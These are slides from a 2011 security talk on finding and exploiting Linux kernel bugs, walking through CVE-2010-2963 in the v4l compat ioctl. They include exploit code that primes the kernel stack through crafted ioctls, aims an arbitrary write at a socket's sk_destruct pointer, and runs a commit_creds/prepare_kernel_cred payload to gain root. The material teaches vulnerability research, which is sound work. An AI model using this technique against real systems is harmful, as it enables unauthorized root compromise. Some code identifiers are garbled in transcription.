August 2011

20 Minutes!

- introduction
- quick Linux kernel exploitation basics
- audit callers of copy_from_user() for mistakes
- found a flawed function, but you don't have direct control?
- controlling an uninitialized stack variable
- become root
- questions

introduction

who I am, what I do

Kees Cook

- Pronounced "Case"
- @kees_cook on Twitter

DefCon Capture the Flag

- Started participating in 2003
- With Team 1@stPlace, won in 2006 and 2007
- Still play in the qualification rounds just for the fun of it

Ubuntu Security Team

- Started working for Canonical in 2006
- Responsible for keeping Ubuntu as safe as possible
- Enjoyed getting compiler hardening into shape
- Now focusing on kernel hardening

quick Linux kernel exploitation basics

key to kernel exploitation is the arbitrary write

Control kernel memory

• Kernel determines permissions

Credentials

• Change your process's UID to 0

Tricky bit is finding the targets

- Hunt through kernel memory
- Global functions, variables

there is an extensive list of potential targets and triggers

Function tables!

- struct security_operations global pointer: security_ops
 include/linux/security.h
 easy offset to "ptrace_access_check", but requires a little clean-up
- System-wide IDT
 Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6
 requires handling interrupt mode
- single, isolated struct sock
 sk_destruct called on close()
 easy to find in memory via /proc/net/tcp

but you need the find a flaw first

Everything is a theory until you find a flaw

- Using a flaw tends to be easy
- Finding a flaw tends to be harder

Interface boundaries

- Switches from userspace to ring0
- Changes in privilege levels

audit callers of copy_from_user() for mistakes

there are a lot of copy_from_user() callers

3893 to be exact

• git grep copy_from_user | wc -l

Need to find unsafe uses

- Length isn't checked correctly
- Source isn't checked correctly
- Destination isn't checked correctly

advanced static analysis? nah, just use grep

Regular expressions

• Can get you most of the way, very quickly

Unchecked copy_from_user

- __copy_from_user() without access_ok()
- Very few callers
- Intel DRM (CVE-2010-2962, me)
- RDS (CVE-2010-3904, Dan Rosenberg)

Okay, slightly advanced static analysis: Coccinelle

- http://coccinelle.lip6.fr/
- "Semantic Patch", but I use it as "Semantic Grep"

semantic grep example

```
@cfu@
position p;
@@
copy_from_user@p(...)
@cfu_simple@
position cfu.p;
expression f;
identifier e;
@@
copy_from_user@p(&e, f, sizeof(e))
copy_from_user@p(e, f, sizeof(*e))
@depends on (!cfu_simple and ...)@
position cfu.p;
@@
* copy_from_user@p(...)
```

focus on areas that do not get a lot of usage/users

Rare network protocols

- SCTP
- RDS

Interfaces with few consumers

- Video DRM: mostly just Xorg
- Network diagnostics: handful of debugging tools
- New syscalls
- Compat

compat (64bit to 32bit, API versions) has had lots of bugs

Syscall Compat

- Not clearing high portion of register used for jump table lookup
- CVE-2007-4573 and CVE-2010-3301

API Compat

- Extremely few users
- CVE-2010-2963, code had 0 users, in fact

Generally

- Just look at Mitre for some history
- http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat

found a flawed function, but you don't have direct control?

CVE-2010-2963 is a great example in the v4l compat functions

```
• • •
```

```
static int get microcode32(struct video code *kp, struct video code32 user *up)
    if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
         copy from user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
         get user(kp->datasize, &up->datasize) ||
         copy_from_user(kp->data, up->data, up->datasize))
              return -EFAULT:
    return 0:
static long do video ioctl(struct file *file, unsigned int cmd, unsigned long arg)
    union {
         struct video tuner vt;
         struct video code vc;
    } karg;
    void user *up = compat ptr(arg);
    switch (cmd) {
    case VIDIOCSMICROCODE:
         err = get_microcode32(&karg.vc, up);
```

unchecked copy_from_user() from uninitialized address on stack

karg contents uninitialized

• But "uninitialized" really means "filled with memory from before"

karg lives on the stack

• What went there before?

the computer didn't bother to emit warnings

• Compiler assumes we meant to do that

controlling an uninitialized stack variable

find an overlapping function or call path

How about the same ioctl?

- same call path
- at least the same stack size

```
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg)

{
    union {
        struct video_tuner vt;
        struct video_code vc;
...
} karg;
void __user *up = compat_ptr(arg);
...
switch (cmd) {
    ...
    case VIDIOCSTUNER:
    case VIDIOCGTUNER:
    err = get_video_tuner32(&karg.vt, up);
...
...
```

examine offsets and alignments of the on-stack variables

top Saved junk before ioctl Saved junk before ioctl karg, after karg, entering **VIDIOCSMICROCODE VIDIOCSTUNER:** loadwhat[16] tuner name[32] datasize padding data other locals... other locals... bottom

arrange stack with the values you need via careful invocation

datasize and data for source are used directly

• No special tricks needed:

```
vc->datasize = length;
vc->data = source;
```

data pointer for destination needs to be overlapped and left on stack

```
uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));
*ptr = destination;
```

prime the page tables to keep extra things off the stack

Kernel stack is used by everything in the process

- Doing memory access to page stuff into memory?
- Added a printf() to aid debugging?

Any work between or in syscalls may trigger further kernel stack work

- Avoid syscall wrappers (libc)
- Avoid calling the interface for the first time

In this case, we must call 32bit syscall from 64bit userspace

- Use int 0x80
- Write some assembly

make the call and write arbitrarily

```
unsigned int syscall32(unsigned int syscall, unsigned int arg1,
                      unsigned int arg2, unsigned int arg3)
    unsigned int rc;
    asm volatile("movl %1, %%ebx; movl %2, %%ecx;\n"
                 "movl %3, %%edx; movl %4, %%eax;\n"
                 "int $0x80; movl %%eax, %0;\n"
                 : "=g"(rc) /* output */
                 : "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall) /* input */
                 : "%eax", "%ebx", "%ecx", "%edx" /* clobbered registers */ );
    return rc:
    // beat memory into the stack...
    code = 0x40347605; // VIDIOCSTUNER
    syscall32(IOCTL SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr t)tuner);
    syscall32(IOCTL SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr t)tuner);
    /* VIDIOCSMICROCODE32, the badly constructed VIDIOCSMICROCODE */
    code = 0x4020761b;
    syscall32(IOCTL SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr t)vc);
```

become root

aim arbitrary write at target

Use struct sock exploit method from Dan Rosenberg's code

- open a TCP socket
- Look up where the socket is in kernel memory from /proc/net/tcp
- target the sk_destruct function pointer, offsetof(struct sock, sk_destruct)
- (kptr_restrict now blocks /proc/net/tcp but not INET_DIAG netlink for same information)

Use prepare/set cred payload method from Brad Spengler's Enlightenment code

- Look up kernel addresses for needed functions
- Call them to reset credentials to uid 0

```
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
...
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
```

trigger the target

Just close the socket

• Boom

Enjoy ring0

• Kernel cleans up for you

Demo

Follow along!
